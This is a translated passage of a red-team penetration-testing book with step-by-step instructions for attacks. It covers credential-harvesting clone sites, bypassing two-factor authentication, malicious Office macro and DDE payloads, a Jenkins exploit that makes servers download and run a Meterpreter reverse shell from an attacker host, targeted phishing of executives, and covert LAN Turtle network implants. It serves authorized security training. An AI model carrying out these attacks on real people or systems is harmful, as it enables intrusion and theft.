在上本书中我们讲了很多关于近似域名的内容。如今近似域名仍然是获取初始凭证或者植入恶意软件的最成功方法之
一。最常用的技术是购买一个与目标公司的URL非常相似的域名,或者是目标公司 URL 的一个常见拼写错误的域
名。
在上一本书中,我们举了一个例子,如果我们的目标公司有 mail.cyberspacekittens.com 这个域名,我们将购买
mailcyberspacekittens.com 这个域名,并设置一个假的 Outlook 页面来获取登录凭证。当受害者进入假网站并输
入密码时,我们会收集这些数据并将其重定向到公司的有效电子邮件服务器(mail.cyberspacekittens.com)。这给
受害者留下这样的印象:他们只是第一次意外地输错了密码,因此,再次输入正确密码并登录他们的帐户。
这种方法最巧妙地一点是你甚至不用做任何网络钓鱼的操作。因为有些人就是会打错域名或者手误漏掉 “mail” 和
“cyberspacekittens” 之间的点(.),然后进入了错误的网页并输入他们的登录凭证。我们会提示让受害者把我们的
恶意网站添加为书签,这样可以让受害者每天都访问我们的恶意网页。
如何克隆验证页面
快速克隆Web应用程序登录验证页的最佳工具之一是 TrustedSec 公司开发的社会工程学工具包(Social
Engineering Toolkit,简称 SET)。这是任何需要获取身份凭证的社工活动的标准工具包。你可以从 https://github.
com/trustedsec/social-engineer-toolkit 下载这个工具包。
配置 SET:
将 SET 配置为使用 Apache(而不是默认的 Python )
将配置文件按照以下内容修改:
gedit /etc/setoolkit/set.config
APACHE_SERVER=ON
APACHE_DIRECTORY=/var/www/html
HARVESTER_LOG=/var/www/html
启动 SET:
cd /opt/social-engineer-toolkit
setoolkit
(1) Spear-Phishing Attack Vectors (鱼叉式钓鱼攻击)
(2) Website Attack Vectors(网站攻击)
(3) Credential Harvester Attack Method (凭证收集攻击方法)
(4) Site Cloner(站点克隆器)
输入你的攻击服务器的 IP
克隆目标站点
打开浏览器,转到攻击服务器并测试
所有文件都会被储存在 /var/www/html 文件夹下,密码存储在 Harvester* 下。下面是社工活动中克隆页面时的一
些比较好的做法:
搭配使用 Apache 服务器 + SSL
把所有图像和资源移到本地(而不是从被克隆的站点调用)
就我个人而言,我喜欢使用我的 PGP 公钥来存储所有记录的密码。这样,如果服务器受到入侵,就无法在没有
私钥的情况下恢复密码。PHP gnupg_encrypt 和gnupg_decrypt 支持这一做法。
使用双因素验证的身份凭证
我们看到越来越多的客户使用双因素认证(2FA),对于红队来说双因素认证是一个巨大的麻烦,因为它们不可能被
随意绕开。在以前我们必须创建一些定制化的页面,这样可以处理其中的一些情况。但现在我们有了 ReelPhish,这
是 FireEye 公司制作的一个工具。当受害者在我们的钓鱼网页上输入登陆凭证时,ReelPhish 允许红队利用
Selenium 和 Chrome 来自动触发双因素验证。
ReelPhish:
克隆需要双因素认证的攻击目标站点。
使用你的攻击工具箱,解析登录到真实站点的流量。在我的例子中,我打开了 Burp Suite 来获取身份验证所需
要的所有 post 参数。
修改克隆站点,使其使用 ReelPhish。访问 /examplesitecode/samplecode.php 并输入你的身份验证所需的所
有必要参数。
受害者进入克隆站点并进行身份验证。
凭证被传输到攻击者手中。
ReelPhish 将在真实站点进行身份验证,触发双因素验证。
受害者收到双因素验证的验证码或电话验证。
受害者被重定向到真实站点重新登录(他们会认为他们在第一次登录时登陆失败了)。
如下图所示,我们现在应该有一个经过身份验证了的会话来绕过双因素验证。虽然 ReelPuish 看起来很像是支持
Linux ,但我在 Kali 中运行它时遇到了一些问题。所以最好是在 Windows 中运行 ReelPuish。你可以在 FireEye 公
司的网站上找到更多关于 ReelPhish 的信息: https://www.fireeye.com/blog/threat-research/2018/02/reelphish-
real-time-two-factor-phishing-tool.html 。
还有一些其他工具可以处理不同的双因素验证绕过的情境:
https://github.com/kgretzky/evilginx
https://github.com/ustayready/CredSniper
还有一件事,当对需要双因素认证的网络资源进行身份验证时,请确保你在得到身份凭据后要尝试使用多种不同的身
份验证方法。我的意思是,一些产品可能在 Web 门户网站的身份验证页面使用了双因素验证,但在 API、旧的客户
端或所有的应用程序终端上可能并没有使用双因素验证。我们已经看到许多应用程序在公共终端上要求双因素验证,
但在应用程序的其他部分则缺乏相应的安全保护。
网络钓鱼
另一个红队已经用之取得了巨大成功的技术是传统的网络钓鱼。网络钓鱼的秘诀在于激发受害者的恐惧感或者紧迫
感,有时也会向受害者描绘一些非常美好(甚至不太真实)的诱惑。我相信你以前肯定见过一些恐惧感和紧迫感确发挥
巨大威力的情境。利用受害者恐惧和紧迫心理进行攻击的一些例子包括:
一封带有欺诈性购买的虚假电子邮件
有人黑进了你的电子邮件消息
有关税务欺诈的电子邮件
这些一般性攻击的问题是,我们已经注意到公司员工变得越来越聪明。通常,每10封基本钓鱼式攻击邮件中至少有1
封会被上报。在某些情况下,比例甚至更高。这些情况对于一个红队来说是很有价值的,红队可以持续监控这些简单
的网络钓鱼攻击,看看公司在对这些情况的响应方面是不是有所进步。
对于那些寻求自动化钓鱼攻击的人,我高度推荐 Gophish。Gophish 非常易于设置和维护,并且支持模板和
HTML,另外它还会跟踪和记录你所需的一切。如果你是 Ruby 的粉丝的话,Phishing Frenzy就是一个使用 Ruby 语
言写的很好的工具。当然,少不了的也有用 python 语言写的工具,King Phisher 就是使用 Python 开发的。
这些自动化工具非常适合记录简单的网络钓鱼活动。但是对于我们的目标活动,我们得采用更加手工化的方法。例
如,如果我们对受害者的邮件记录进行了一些侦察,了解到客户使用 Office365 ,那么我们就可以思考一下如何利用
这个信息来策划一场具有高可行度的入侵行动。此外,我们还试图寻找该公司泄露信息的电子邮件,从中来捕捉任何
其他可能有帮助的信息,包括他们可能正在运行的程序、新的特性、系统升级、代码合并等等。
我们有时还会开展更具针对性的行动。在这些行动中,我们尝试使用所有的开源工具来搜索有关人员及其财产、家庭
等的信息。例如,针对一些公司高管,我们会在 pipl.com 上搜索他们,获取他们的社交媒体帐号,找出他们的孩子
上学的地方。然后我们向他们发送一封欺骗性电子邮件,假装是学校发的,说他们需要打开这个 word 文档。要做完
这一系列事情可能要花费很长时间,但好处在于成功率很高。
Microsoft Word/Excel 宏文件
虽然是很老旧,但向受害者发送恶意的 Microsoft Office 文件仍然是久经考验的一种社会工程学攻击方法。那为什么
Office 文件非常适合作为恶意 payload 的载体呢?这是因为 Office 文件的默认设置是支持 VBA 代码所以允许 VBA
代码的代码执行。尽管最近这种方法已经很容易被杀毒软件检测到,但在经过混淆处理之后,在很多情况下仍然可以
生效。
在最基础的水平上,我们可以使用 Empire 或 Unicorn 来创建一个 VBA 宏:
使用 Empire:
选择 Macro Stager
usestager windows/macro
确保进行正确的配置
info
创建宏
generate
如果你想为 Meterpreter 创建一个 payload ,我们可以使用像 Unicorn 这样的工具:
cd /opt/unicorn
./unicorn.py windows/meterpreter/reverse_https [your_ip] 443 macro
启动一个 Metasploit Handler
msfconsole -r ./unicorn.rc
一旦生成成功,你的 payload 将如下所示:
如你所见,这是运行一个简单的 PowerShell base64 混淆脚本。这可以帮助解决绕过一些杀毒软件,但重要的是要
确保在进行实时入侵操作之前对其进行测试。生成宏后,你可以快速创建一个 Excel 文档:
打开 Excel
转到视图选项卡(View Tab) - >宏 - >查看宏
添加一个宏名称,为 book1 配置宏,然后单击 “创建”
用生成的代码替换所有当前的宏代码
另存为 .xls(Word 97-2003)或 Excel Macro-Enabled 格式的文件
现在,每当有人打开你的文档时,他们都会收到安全警告并看到一个启用内容的按钮。 如果你可以诱导受害者点
击“启用内容”的按钮,那么你的 PowerShell 脚本将会被执行,这会弹给你一个 Empire Shell 。
如前所述,宏文件方法是一种久经考验的旧方法,因此很多受害者已经对这种攻击有了一定的认识。利用 Office 文
件的另一种思路是将我们的 payload 嵌入一个批处理文件(.bat)。但在较新版本的 Office 中,如果受害者双击 Word
文档中的 .bat 文件,对象则不会被执行。我们通常不得不试图诱导受害者使其将 .bat 文件移动到桌面并执行。
我们可以用 LuckyStrike 来以更自动化的方式完成此操作。通过使用 LuckyStrike,我们可以在工作表中使用
Payload 创建 Excel 文档,甚至可以在 Excel 文档中存储完整的可执行文件(exe),这些文件可以用 ReflectivePE
来触发从而在内存中运行。阅读更多关于 LuckyStrike 的内容:
https://www.shellntel.com/blog/2016/9/13/luckystrike-a-database-backed-evil-macro-generator
我想提到的用于 Office 文件执行的最后一个工具是 VBad。运行 VBad 时,必须在 Office 中启用宏,并在宏安全设置
的下拉框中选择 “信任对 VBA 项目对象模型的访问” 选项。这会允许 VBad 运行 python 代码来更改并创建宏。
VBad 会严重混淆 MS Office 文档中的 payload。它还增加了加密功能,用假密钥来迷惑应急响应团队。最重要的
是,它可以在第一次成功运行后销毁加密密钥(VBad 是一个一次性使用的恶意软件)。另一个特性是 VBad 也可以
销毁对包含有效 payload 的模块的引用,以使其从 VBA 开发者工具中不可见。这使得分析和排除故障变得更加困
难。因此,不仅很难去逆向,而且如果应急响应团队尝试分析执行的 Word 文档与原始文档,则所有密钥都将丢失。
非宏的 Office 文件 —— DDE
有时候红队攻击也是一场与时间赛跑的游戏,虽然有些可以利用的易受攻击模块效果很好,但是如果时间久了,一些
杀毒软件或者安全软件已经包含了检测的策略,那么也很难利用,所以有时候一些新发现的漏洞是更好利用的。在我
们的一次评估中,首次公布了一个名为 DDE 的全新易受攻击模块。杀毒软件或任何安全产品还尚未检测到它,因此
这是获得我们初始入口点的好方法。 虽然现在有几种安全产品可以检测 DDE ,但在某些环境中它仍然可能是一种可
行的攻击。
什么是 DDE?
“ Windows 提供了几种在不同的应用程序之间传输数据的方法。其中一种方法就是使用动态数据交换(DDE)协议。
DDE 协议是一组消息和指南。它在共享数据的应用程序之间发送消息,并使用共享内存在应用程序之间交换数据。
应用程序可以使用 DDE 协议进行一次性数据传输。并且应用程序也可以利用 DDE 协议来进行持续的数据交换,当新
数据可用时候,应用程序可以通过持续的数据交换来彼此发送更新。”
[ https://msdn.microsoft.com/en-us/library/windows/desktop/ms648774(v=vs.85).aspx ]
Sensepost 的团队做了一些很棒的研究,发现 MSExcel 和 MSWord 都暴露了 DDEExecute,并且可以在不使用宏的
情况下创建代码执行。
在 Word 中:
转到“插入”选项卡 -> “快速部件” -> “字段”
选择 = 公式
右键单击:!Unexpected End of Formula 并选择 Toggle Field Codes
将 payload 替换为你的 payload:
Empire 有一个 stager ,可以自动创建 Word 文件和关联的 PowerShell 脚本。 此 stager 可以通过以下方式配置:
usestager windows/macroless_msword
资源:
https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
除了 0day 漏洞利用(例如 https://github.com/bhdresh/CVE-2017-0199 )之外,Word 文档中是否还有其他任何
能利用的特性呢? 答案是肯定的。虽然我们不会在本书中介绍它。其中一个例子是 subdoc attacks。这些攻击导致
受害者向网络上的攻击服务器发出 SMB 请求,以便收集 NTLM Auth Hash(NTLM 验证哈希)。 这种攻击并不是在
所有场景里百分百生效,因为大多数公司现在阻止 SMB 相关端口连接外网。对于那些还未进行此种配置的公司,我
们可以使用 subdoc_inector 攻击来利用这种错误配置。
隐藏的加密 payload
DDEAUTO c:\windows\system32\cmd.exe “/k powershell.exe [empire payload here]”
作为红队队员,我们一直在寻求使用创造性的方法来构建我们的登陆页面,加密我们的 payload,并诱导用户点击运
行。具有类似过程的两个不同工具是 EmbededInHTML 和 demiguise。
第一个工具 EmbededInHTM,该工具的描述是“ 获取文件(任何类型的文件),加密它,并将其作为资源嵌入到
HTML 文件中,还包含模拟用户点击嵌入资源之后的自动下载进程。然后,当用户浏览 HTML 文件时,嵌入式文件
即时解密,保存在临时文件夹中,然后将文件展示给用户。这一系列过程会让用户感觉该文件像是从远程站点下载来
的。基于用户的浏览器和显示的文件类型,浏览器可以自动打开文件。”
cd /op/EmbedInHTML
python embedInHTML.py -k keypasshere -f meterpreter.xll -o index.html -w
一旦受害者访问恶意站点,弹出的窗口会提示受害者在 Excel 中打开我们的 .xll 文件。不幸的是,对于最新版本的
Excel(除非配置错误),用户需要启用加载项来执行我们的 payload 。这就需要使用你在前面学到的社会工程学技
巧了。
第二个工具是 demiguise,描述是“ 生成包含一个加密的 HTA 文件的 .html 文件。该工具的思路是,当你的目标访问
该页面时,将获取其密钥并在浏览器中动态解密 HTA 然后将其直接推送给用户。这是一种隐匿技术,可以绕过由某
些安全设备进行的的内容/文件类型的检查。但是此工具并不是为了创建优秀的 HTA 内容而设计的。在 HTA 内容方面
还有其他工具/技术可以帮助你。demiguis 希望帮助用户的是:首先让你的 HTA 进入一个环境,并且(如果你使用环
境键控)避免它被沙盒化。
python demiguise.py -k hello -c “cmd.exe /c <powershell_command_here>” -p Outlook.Application -o
test.hta
利用社会工程学攻破内网 Jenkins
作为红队队员,攻击的创造性使我们的工作非常令人兴奋。我们喜欢利用旧的漏洞利用并再次使它们焕然一新。例
如,如果你一直在进行网络评估,你就会知道,如果遇到未经身份验证的 Jenkins 应用程序(开发人员大量使用它进
行持续集成),这几乎意味着它完全敞开在你的面前。这是因为 Jenkins 具有允许 Groovy 脚本执行测试的 “特性”。
利用这个脚本控制台,我们可以使用允许 shell 访问底层系统的执行命令。
这种方法在入侵方面变得如此受欢迎的原因是几乎每家大公司都有一些 Jenkins 实例。如果想要从外部进行攻击,就
会存在一个问题:这些 Jenkins 服务都是内部托管的,无法从外部访问。
我们怎么样才能在这些服务器上远程执行代码? 在我们可以回答这个问题之前,我告诉我的团队先退后一步,用
Jenkins 构建一个副本网络进行测试。 一旦我们很好地理解了代码执行请求的功能,我们现在可以构建合适的工具来
获得远程命令执行(RCE)。
面对这种情况,我们通过使用 JavaScript 和 WebRTC(Web实时通信)的一系列步骤解决了这个问题。首先,我们
需要一个属于目标组织的受害者来访问一个我们拥有的公开网站或是我们存储了 XSS payload 的网页。一旦受害者访
问我们的公开站点,我们将在他的浏览器上执行 JavaScript 从而运行我们的恶意 payload 。
此 payload 会利用一个 Chrome / Firefox 的 “功能” ,此功能允许 WebRTC(Web实时通信)公开受害者的内网 IP
。 通过内网 IP ,我们可以推断出受害者的计算机的本地子网,以了解其公司 IP 范围。 现在,我们可以使用我们特
制的 Jenkins 漏洞利用通过 Jenkins 默认的8080端口在他们的网络范围内对每一个 IP 发起攻击(这段代码只扫描本
地 /24 ,但在一个真实的红队行动中,你可能会想把扫描范围设置的比这个大很多)。
如果你玩过 Jenkins Console shell ,你就知道它有点难搞,因此能够持续获得复杂的 PowerShell payload 可能会很
困难。 为了解决这个问题,我们为本书创建了一个名为 generateJenkinsExploit.py 的工具 ,该工具将获取任何二进
制文件,对其进行加密,并构建进行恶意攻击的 JavaScript 页面。当受害者访问我们的恶意网页时,它将获取其内网
IP 并开始将我们的漏洞利用传播到 /24 范围内的所有服务器。当它找到易受攻击的 Jenkins 服务器时,此攻击将发送
一个 Groovy 脚本的 payload 来从 internet 上抓取加密的二进制文件,将其解密为一个文件放到
C:\Users\Public\RT.exe 下,并执行 Meterpreter 二进制文件(RT.exe)。
在概念上(如下图所示),这与服务器端请求伪造 (SSRF)非常相似,我们强制受害者的浏览器重新启动与内网 IP 的连
接。
受害者访问我们存储的 XSS 或恶意 JavaScript 的页面。
受害者的浏览器执行 JavaScript/WebRTC 以获取内网 IP 并使用 Groovy POST Payload 对本地内部网络发起攻
击。
找到一个 Jenkins 服务器后,我们的 Groovy 代码将通知 Jenkins 服务器从攻击者的服务器获取加密的 payload
,然后解密并执行二进制文件。
在这种情况下,我们下载的加密可执行文件是 Meterpreter payload。
Meterpreter 在 Jenkins 服务器上执行,然后连接到我们的攻击者 Meterpreter 服务器。
注意:最新版本的 Jenkins 中不存在此漏洞。 2.x 之前的版本在默认情况下是易受攻击的,因为它们未启用 CSRF 保护
(允许对脚本进行无验证调用),并且未启用身份验证。
完整的 Jenkins 漏洞利用实验:
我们将构建一个 Jenkins Windows 服务器,以便我们可以复现此攻击。
在本地网络上安装具有桥接接口的 Windows 虚拟机。
在 Windows 系统上,下载并安装 JAVA JDK8。
下载 Jenkins war 包:
http://mirrors.jenkins.io/war-stable/1.651.2/
启动 Jenkins :
java -jar jenkins.war
浏览器打开 Jenkins:
http://<Jenkins_IP>:8080/
测试 Groovy 脚本控制台:
http://<Jenkins_IP>:8080/script
在 THP Kali 虚拟机上利用 Jenkins:
译者注:专门为本书开发的集成了所有环境的 Kali 虚拟机,本书第一章有介绍。THP 就是 The Hacker
Playbook,本书的英文简称。
下载 THP Jenkins 漏洞利用工具( http://bit.ly/2IUG8cs )。
要执行该实验,我们首先需要创建一个 Meterpreter payload:
msfvenom -p windows/meterpreter/reverse_https LHOST=<attacker_IP> LPORT=8080 -f exe >
badware.exe
加密我们的 Meterpreter 二进制文件:
创建我们的恶意 JavaScript 页面命名为 badware.html :
将加密的二进制和恶意 JavaScript 页面都移动到 Web 目录:
现在,在完全不同的系统上,你可以使用 Chrome 或 Firefox 浏览器访问你的攻击者网页:
http://<attacker_IP>/badware.html 。只需访问该恶意页面,你的浏览器就会通过我们的 Groovy payload,使用
JavaScript 和 POST 请求对你的内部 /24 网络经由8080端口进行攻击。当它找到一个 Jenkins 服务器时,它将导致该
服务器下载我们的加密 Meterpreter ,解密并执行它。在公司网络中,你最终可能会得到大量不同的 shell 。
任何允许通过 GET 或 POST HTTP 方法进行未经身份验证的代码执行的场景都可以使用此种攻击手法。对于此类攻
击,你需要确定受害者在内部使用哪些应用程序并制定你的恶意攻击。
本章总结
社会工程学攻击是一种类似于猫捉老鼠的游戏。这种攻击在很大程度上依赖于人的因素,并瞄准人性中恐惧、紧迫和
易于轻信等弱点。通过利用这些人性的漏洞,我们可以创建非常巧妙的入侵行动,这些入侵行动在系统攻击方面具有
很高的成功率。
在衡量标准和目标方面,我们需要从消极等待用户、报告钓鱼网页/钓鱼电子邮件等的相关数据这样的反应模型中跳
脱出来,转而采用主动模式。我们可以积极狩猎、主动发起包括但不限于以上介绍的这些类型的恶意社工攻击。
cd /opt/generateJenkinsExploit
python3 ./generateJenkinsExploit.py -e badware.exe
python3 ./generateJenkinsExploit.py -p http://<attacker_IP>/badware.exe.encrypted >
badware.html
mv badware.html /var/www/html/
mv badware.exe.encrypted /var/www/html/
第6章 短传——物理访问攻击
译者:@Snowming
作为安全评估的一部分,CSK 要求你的团队对基础设施进行物理评估。这就需要检查他们的门和安保设施是否合格。
在得到了授权的前提下可以进行现场测试,以确定他们警卫的反应和响应时间。
快速说明:在进行任何物理评估之前,请务必与当地、州和联邦法律核实。例如,在密西西比州、俄亥俄州、内华达
州或弗吉尼亚州,仅仅是持有开锁工具就可能是犯法的。我不是律师,所以你最好先咨询一下专业法律人士。此外,
确保你获得适当的批准,尽量与该机构的物理安全团队协同工作,并有一个书面的免责核准文件,以防被警察抓到后
需要承担额外的法律责任。在实际参与之前,要与该机构的物理安全团队讨论如果保安抓住你,你是否可以逃跑,或
是立马停止。以及还要注意,该公司是否安装了无线电监听。最后,确保警卫不会将你的试验行动上报到当地执法部
门,毕竟谁都不想去蹲号子。
现在,是时候侵入 Cyber Space Kittens 的秘密基地了。从他们网站上预留下来的信息看,他们的实际位于
299792458 Light Dr。利用谷歌街景做了一番侦察后,我们注意到他们有一个大门,还有一两个警卫室。在翻越栅栏
前,我们需要了解多个可能的进入点和进入区域。通过初步观察,我们还发现了一些摄像头、门、入口点和读卡器系
统。
ID 卡复制器
上一版书里,讲了很多有关 ID 卡复制器的东西,所以在本书中我将把重点放在更新的内容上。在大多数情况下,那
些由 HID 公司生产的、不需要任何私有/公开握手认证的感应卡,我们仍然可以很轻易地克隆它们,并暴力破解它们
的 ID 号。
上一版书里,我提到了我很喜欢复制 ProxCard Ⅱ 卡,因为它们没有任何保护措施,所以易于克隆。并且 ProxCard
Ⅱ 卡一般都可以成批购买,用来暴力破解,简直再方便不过。破解的过程都是基于 Proxmark3 工具完成的。现在,
它发布了一个主打便携的新型号,叫 Proxmark3 RDV2 Kit。新版的可插电池用,并且体积也小巧很多。
还有一些常见的可供破解的卡:
HID iClass (13.56 MHz)
HID ProxCard (125 kHz)
EM4100x (125 kHz)
MIFARE Classic (13.56 MHz)
可以参考这篇博客了解更多:RFID Hacking with The Proxmark 3
绕过入口点的物理工具
本书不会深入研究物理工具及其操作方法,因为纸上得来终觉浅,若要真正深入了解物理工具及其操作方法,实践是
最好的老师。进行物理评估的最佳方法,一直都是实践、建立物理实验环境,搞清楚哪些方法可行,哪些不可行。我
来盘点一下过去我们团队用过的一些很酷的工具:
Lock Picks —— SouthOrd 公司生产的开锁工具一直是我们的首选。质量好,效果好。
Gate Bypass Devices —— 用来绕过锁着的门的工具。
Shove-it Tool —— 简单的工具,用于门和门闩之间有足够的空间的情况下。类似于贴卡打开感应门,你使用此
工具拉开锁里的活塞。
Under the Door 2.0 —— 拉开带有手柄的门的工具。我们可以用 Under the Door 工具从门下直接进去,绕着
把手,然后往下拉。在过去酒店中经常会安装这种门,但我们肯定也会在业务中遇到这种门。
Air Canisters —— 这是一个价格便宜又构造简单的工具,可以通过内部的运动传感器打开门锁。看看这段视
频,看看 Samy Kamkar 如何绕过此类型的门: https://www.youtube.com/watch?v=xcA7iXSNmZE
记住,使用这些工具和物理评估的目的是跟踪并监控公司物理安全的问题,并得到反馈。因此,我们不仅要确保充分
记录了系统中的缺陷,还要考察事件的响应时间和处理措施是否是可以接受的。
LAN Turtle
LAN Turtle 是我最喜欢的工具之一,由 Hak5 公司生产。前书中我们研究了如何把树莓派和 ODROID 作为攻击武
器:给这些设备安装 Kali Linux 系统,让它们通过 SSH 或者 VPN 连接到我们的攻击者机器中,这是做物理渗透测试
的一个好方法。
多年来,这些工具一直在不断进步。现在,LAN Turtle 小巧到可以藏在任何设备的后面,依赖 USB 供电,让用户难
以轻易觉察。LAN Turtle 的 USB 网卡可代理以太网的所有流量。
LAN Turtle 还有一个无线蜂窝版(支持SIM卡),暂且不提。
设置 LAN Turtle: LAN Turtle 的目的是取代 dropbox(一款可以同步本地文件的网络存储在线网盘应用)。尽管它
带有许多其他功能和应用程序工具,如自动连接 SSH、DNS 欺骗、meterpreter、ptunnel、script2email、
urlsnarf、responder 等等,但红队使用的主要功能是“使用 LAN Turtle 获得进入网络的权限”。
过去,甚至在前几版书中,我们使用 SSH 反向代理 shell。这样通常管用,但对于更深入的扫描/复杂的攻击,我们需
要完全访问网络。为此,我们必须配置反向的 VPN 连接。那么,怎样进行反向 VPN 连接?
是这样的,因为 LAN Turtle 会被插入入侵目标组织内网中的某个台式机的后面,所以我们不能直接连接到它。因
此,我们将让 LAN Turtle 首先通过端口 443 外连到 VPN,然后作为服务器返回到我们的 OpenVPN 。从我们用来做
攻击的 Kali 机器中,我们也必须登录进 VPN 服务器。一旦 LAN Turtle 和我们的攻击者机器都通过VPN 连接到我们
的服务器中,我们就可以把流量从 LAN Turtle 转发到攻击机器来进行扫描或漏洞利用。
虽然 OpenVPN 反向代理通道不是什么新技术,但 Hak5 的团队在整合教程方面做得非常好。我不得不修改了以下一
些命令,如果你想了解更多,请观看他们的 YouTube 视频:https://www.youtube.com/watch?v=b7qr0laM8kA 。
具体的使用步骤主要是以下三步:
1. 在 Internet 上配置一个 OpenVPN 访问服务器(OpenVPN AS);
2. 其次,配置 LAN Turtle ;
3. 最后,配置攻击者机器 。
设置运行 OpenVPN 服务的 VPS :
我们要确保我们的 VPN 服务器对外提供服务。我们通常喜欢在 VPS 服务器提供商上托管我们的 VPN 服务器,
因为它们非常容易和快速设置。提前警告一声,请向你的 VPS 提供商咨询,确保他们允许你搞事。
常见的 VPS 提供商有 Linode 和 Amazon Lightsail 。因为他们的 VPS 速度快、价格便宜且易于设置。AWS
Lightsail VPS 就不错,选择它的另一个原因是:有许多攻击者都会采用 AWS 做攻击,躲在这些如洪水般的流量
背后,受害者将更难以察觉是谁攻击他们的。
去 Lightsail.aws.amazon.com 创建一个新的 VPS
创建后,转到“管理”->“联网” 添加两个安全组设置 TCP 端口(443和943)
创建 VPS 服务器后,登录:
确保 chmod 600 你的 SSH 密钥并登录到你的服务器
ssh -i LightsailDefaultPrivateKey-us-west-2.pem ubuntu@[IP]
通过 SSH 进入服务器之后
切换到 root 用户:
更新服务器:
安装 OpenVPN AS。请点击此处查找最新版本
复制链接并下载到 VPS 。示例:
wget http://swupdate.openvpn.org/as/openvpn-as-2.1.12-ubuntu16.amd_64.deb
安装 OpenVPN AS:
dpkg -i openvpn-as-2.1.12-Ubuntu16.amd_64.deb
删除当前配置文件并配置 OpenVPN :
/usr/local/openvpn_as/bin/ovpn-init
安装过程中:
确保为所有接口设置管理员界面
将“通过内部数据库使用本地身份验证”设置为“是”
更新 OpenVPN 密码:
passwd openvpn
将943端口的 IPTables 设置为仅允许来自你的网络的连接
设置 OpenVPN 服务器:
转到 https://[vps服务器的IP地址]:943/admin/
使用用户名 “openvpn” 和你刚刚设置的密码登录
如果使用的是 AWS Lightsail:
sudo su -
apt-get update && apt-get upgrade
转到服务器网络设置,确保:主机名或IP地址是正确的公网 IP 地址,而不是私有 IP 地址
保存并更新
验证身份验证是否设置为本地:
Authentication -> General -> Local -> Save Settings -> Update Server
创建两个启用了“允许自动登录”的用户(我创建的是 lanturtle 和 redteam ):
User Management -> User Permissions
对于每个用户:
设置允许自动登录
确保为这两个用户都分别设置密码
对于 lanturtle 帐户,为了允许通过 VPN 连接,我们需要启用一些权限:
确保在用户权限选项下启用/配置:
所有服务端私有子网
所有其他的 VPN 客户端
下载 OpenVPN 配置文件:
连接下载配置文件:
https://[你的VPS]:943/?src=connect
对于每个用户( redteam 和 lanturtle )
登录并下载个人资料(自动登录配置文件)
分别保存为 turtle.ovpn 和 redteam.ovpn
设置 LAN Turtle 和初始配置:
插入 USB 并且自动连入网络
nmap 扫描本地 22 端口
nmap x.x.x.x/24 -p22 -T5 --open
通过 SSH 连接 root 用户(root@[ip]),密码为 sh3llz
更新你的 LAN TURTLE
更改 MAC 地址很重要。LAN Turtle 使用类似制造商的 MAC 地址,所以你要做些修改来确保你看起来像个随机
的设备:
更改你的 MAC 地址
安装 OpenVPN :
选择 Modules -> Select -> Configure -> Directory ,然后点击确定
安装 OpenVPN
设置你的 OpenVPN 配置文件:
返回 Modules-> OpenVPN -> configure->粘贴所有来自 turtle.opvn 的内容并保存
我们还希望确保 LAN Turtle OpenVPN 服务器在服务器启动时自动开启运行:
选择 Modules-> OpenVPN ->Enable
最后,我们需要修改 LAN Turtle 上的防火墙规则:
退出 Turtle 菜单并编辑防火墙规则(使用 nano 文本编辑器编辑 /etc/config/firewall 文件)
nano /etc/config/firewall
接着,在文件中修改 vpn 这一部分的设置
确保“option forward”设置为“ACCEPT”
添加以下配置转发规则:
配置转发
option src wan
option dest lan
配置转发
option src vpn
option dest wan
配置转发
option src wan
option dest vpn
重新回到 Turtle 菜单 -> Modules -> openvpn -> start
上面的操作应该会启动我们的 Turtle 上的 OpenVPN 客户端。为了确保设置生效,回到我们的 OpenVPN AS 服
务器并检查连接。
我们现在已经配置了 LAN Turtle,这样每当它连接到一个网络时,它就会回连到我们的 VPN 服务器。并且我们可以
通过 SSH 连进 LAN Turtle 了。让我们通过一个例子来感受一下这个过程:
从 Kali 攻击主机访问 VPN 服务器:
openvpn -config ./redteam.ovpn
获取对方所在网络的IP地址,以便从我们的 redteam vpn 传输所有流量。
SSH 进入 LAN Turtle
退出 Turtle 菜单,获取受害者网络内部接口(ifconfig)的 IP 地址。根据 IP 和 BCAST(广播地址)计算
出 IP 范围。在我们的示例中,Turtle 所在的网络是 10.100.100.0/24
最后,开启流量转发:
返回 OpenVPN AS并编辑 lanturtle 这个用户
用户权限(User Permissions)页面->搜索用户名 lanturtle->显示
将 VPN 网关编辑为“是”并添加内部范围(例如 10.100.100.0/24)
保存并更新
通过 LAN Turtle 上的 SSH 连接,使用 reboot 命令重启
现在,我们可以让攻击机透过在 LAN Turtle 上架设的 VPN 通道,将我们的所有流量传输到受害者公司内网。在下图
中,我们登录进入 VPN 服务器,扫描 LAN Turtle 的范围为 10.100.100.0/24 的内部网络。我们可以看到,我们已经
成功地配置了从 VPN 网关通过 LAN Turtle 到公司网络的路由传输。现在,在 Kali 攻击机上面,可以运行完整的漏洞
扫描、网络抓取、Masscans 扫描甚至更多其他操作。
好的!现在你有了一个快速插入的设备,它让你与受害者网络保持全局连接。为了做的更好,还可以完善一下:
设置一个每天重启设备的定时任务。VPN 隧道连接可能会断开,但每当 LAN Turtle 重新启动时,VPN 连接会重
新启动。
某些公司封锁了某些可通往外网的端口。在本例中,我们使用了443端口,在许多环境中,这个端口可以和外网
通信。对于使用 Web 代理的某些公司网络,可能会阻止通过 443 端口直接连接外网。可能需要配置 LAN
Turtle ,以在启动连接时,自动尝试多个不同的端口或协议(TCP/UDP)。
如果要安装两个或更多设备,请确保这些设备的 VPN 服务器和 MAC 地址是不一样的。曾有几个真实的案例,
我们的设备几乎在每次入侵时都被发现了,然而这完全是偶然事。原因是 IT 基础设施正在被移动或者更换了计
算机。
Packet Squirrel
Packet Squirrel 使用 Micro-USB 接口充电,但是并非是通过 USB 接口那一端插入有线 USB 网卡,Packet Squirrel
两端都接网线,这是另一种捕获流量或创建 VPN 连接的方式。
配置 Packet Squirrel 的方法和 LAN Turtle 差不多;
编辑 /root/payloads/switch3/payload.sh
FOR_CLIENTS=1
编辑 /etc/config/firewall
对防火墙进行当时你为 LAN Turtle 所做的完全相同的更改
将 LANTurtle.ovpn 文件上传到 /root/payloads/switch3/config.ovpn
现在你有了另一个和 LAN Turtle 有类似功能的设备,一旦连接到网络,就会有一个反向的 VPN 连接,从你这儿连接
回对方公司。
对了,你还可以对 Packet Squirrel 进行自己的升级和优化,如果你把它琢磨透了的话,就可以用
SWORD(software optimization for the retrieval of data, 数据检索软件优化)轻松地将 Packet Squirrel 转换为
基于 OpenWRT 的渗透测试工具箱( https://medium.com/@tomac/a-15-openwrt-based-diy-pen-test-dropbox-2
6a98a5fa5e5 )。
参考资源:
https://www.hak5.org/episodes/hak5-1921-access-internal-networks-with-reverse-vpn-connections
